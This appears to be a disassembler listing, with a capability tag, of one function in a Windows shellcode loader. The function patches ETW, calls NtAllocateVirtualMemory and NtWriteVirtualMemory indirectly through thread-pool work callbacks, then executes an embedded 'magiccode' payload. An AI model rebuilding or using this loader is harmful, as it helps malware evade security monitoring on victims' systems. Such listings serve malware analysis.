Function at 0x140001450
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
push rbx
sub rsp, 0x138
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xd0], ecx
mov qword [rbp + 0xd8], rdx
call fcn.14000e7c0
call fcn.140002676
call fcn.140001d03
movzx eax, al
test eax, eax
sete al
test al, al
je 0x14000149a
lea rax, str._n___ETW_Patched_Successfully..._n
mov rcx, rax
call fcn.140019cf0
jmp 0x1400014a9
lea rax, str._n____ETW_Patch_Failed..._n
mov rcx, rax
call fcn.140019cf0
mov rdx, qword [rbp + 0xd8]
mov eax, dword [rbp + 0xd0]
mov ecx, eax
call fcn.1400031d1
mov qword [rbp + 0x88], 0
mov qword [rbp + 0x80], 0x57dd6
movzx eax, byte [0x1400b9007]
movzx r10d, al
movzx eax, byte [0x1400b9006]
movzx r9d, al
movzx eax, byte [0x1400b9005]
movzx r8d, al
movzx eax, byte [0x1400b9004]
movzx ecx, al
movzx eax, byte [0x1400b9003]
movzx edx, al
movzx eax, byte [0x1400b9002]
movzx ebx, al
movzx eax, byte [0x1400b9001]
movzx r11d, al
movzx eax, byte [section..data]
movzx eax, al
mov dword [rsp + 0x40], r10d
mov dword [rsp + 0x38], r9d
mov dword [rsp + 0x30], r8d
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], edx
mov r9d, ebx
mov r8d, r11d
mov edx, eax
lea rax, str.First_8_bytes:__02x__02x__02x__02x__02x__02x__02x__02x_n
mov rcx, rax
call fcn.140019cf0
movzx eax, byte [0x140110dd5]
movzx r10d, al
movzx eax, byte [0x140110dd4]
movzx r9d, al
movzx eax, byte [0x140110dd3]
movzx r8d, al
movzx eax, byte [0x140110dd2]
movzx ecx, al
movzx eax, byte [0x140110dd1]
movzx edx, al
movzx eax, byte [0x140110dd0]
movzx ebx, al
movzx eax, byte [0x140110dcf]
movzx r11d, al
movzx eax, byte [0x140110dce]
movzx eax, al
mov dword [rsp + 0x40], r10d
mov dword [rsp + 0x38], r9d
mov dword [rsp + 0x30], r8d
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], edx
mov r9d, ebx
mov r8d, r11d
mov edx, eax
lea rax, str.Last_8_bytes:__02x__02x__02x__02x__02x__02x__02x__02x_n
mov rcx, rax
call fcn.140019cf0
mov dword [rbp + 0x7a], 0x6c64746e
mov word [rbp + 0x7e], 0x6c
movabs rax, 0x61636f6c6c41744e
movabs rdx, 0x6175747269566574
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rbx, 0x79726f6d654d6c
mov qword [rbp + 0x70], rbx
pxor xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm0
movq qword [rbp + 0x50], xmm0
lea rax, str.ntdll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp + 0x60]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], 0xffffffffffffffff
lea rax, [rbp + 0x88]
mov qword [rbp + 0x40], rax
lea rax, [rbp + 0x80]
mov qword [rbp + 0x48], rax
mov dword [rbp + 0x50], 0x40
lea rax, [rbp + 0x7a]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.TpAllocWork
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa8], rax
lea rax, [rbp + 0x7a]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.TpPostWork
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xa0], rax
lea rax, [rbp + 0x7a]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.TpReleaseWork
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x98], rax
mov qword [rbp + 0x28], 0
mov r10, qword [rbp + 0xa8]
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x28]
mov r9d, 0
mov r8, rdx
mov rdx, qword [0x14011b0d0]
mov rcx, rax
call r10
mov rdx, qword [rbp + 0xa0]
mov rax, qword [rbp + 0x28]
mov rcx, rax
call rdx
mov rdx, qword [rbp + 0x98]
mov rax, qword [rbp + 0x28]
mov rcx, rax
call rdx
mov rax, qword [rbp + 0x80]
mov rdx, rax
lea rax, str.___Allocated_size:__lu_n
mov rcx, rax
call fcn.140019cf0
mov edx, 0x57dd6
lea rax, str.___MagicCode_size:__lu_n
mov rcx, rax
call fcn.140019cf0
movabs rax, 0x566574697257744e
movabs rdx, 0x654d6c6175747269
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x1d], rbx
mov dword [rbp + 0x94], 0
pxor xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rbp - 0x10], xmm0
movups xmmword [rbp], xmm0
lea rax, [rbp + 0x7a]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp + 0x10]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], 0xffffffffffffffff
mov rax, qword [rbp + 0x88]
mov qword [rbp - 0x10], rax
lea rax, section..data
mov qword [rbp - 8], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp], rax
mov eax, dword [rbp + 0x94]
mov dword [rbp + 8], eax
mov qword [rbp - 0x28], 0
mov r10, qword [rbp + 0xa8]
lea rdx, [rbp - 0x20]
lea rax, [rbp - 0x28]
mov r9d, 0
mov r8, rdx
mov rdx, qword [0x14011b0f0]
mov rcx, rax
call r10
mov rdx, qword [rbp + 0xa0]
mov rax, qword [rbp - 0x28]
mov rcx, rax
call rdx
mov rdx, qword [rbp + 0x98]
mov rax, qword [rbp - 0x28]
mov rcx, rax
call rdx
mov rax, qword [rbp - 0x28]
test rax, rax
jne 0x140001869
lea rax, str.____Failed_to_write_memory_n
mov rcx, rax
call fcn.140019cf0
jmp 0x140001878
lea rax, str.___Memory_written_n
mov rcx, rax
call fcn.140019cf0
mov qword [rbp - 0x30], 0
mov r10, qword [rbp + 0xa8]
mov rax, qword [rbp + 0x88]
mov rdx, rax
lea rax, [rbp - 0x30]
mov r9d, 0
mov r8d, 0
mov rcx, rax
call r10
mov rdx, qword [rbp + 0xa0]
mov rax, qword [rbp - 0x30]
mov rcx, rax
call rdx
mov rdx, qword [rbp + 0x98]
mov rax, qword [rbp - 0x30]
mov rcx, rax
call rdx
lea rax, str.___magiccode_executed.__n
mov rcx, rax
call fcn.140019cf0
mov edx, 0xffffffff
mov rcx, 0xffffffffffffffff
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x90], eax
cmp dword [rbp + 0x90], 0
jne 0x14000190b
lea rax, str.___magiccode_execution_completed_n
mov rcx, rax
call fcn.140019cf0
jmp 0x14000191a
lea rax, str.____magiccode_execution_wait_failed_n
mov rcx, rax
call fcn.140019cf0
call sub.msvcrt.dll_getchar
mov eax, 0
add rsp, 0x138
pop rbx
pop rbp
ret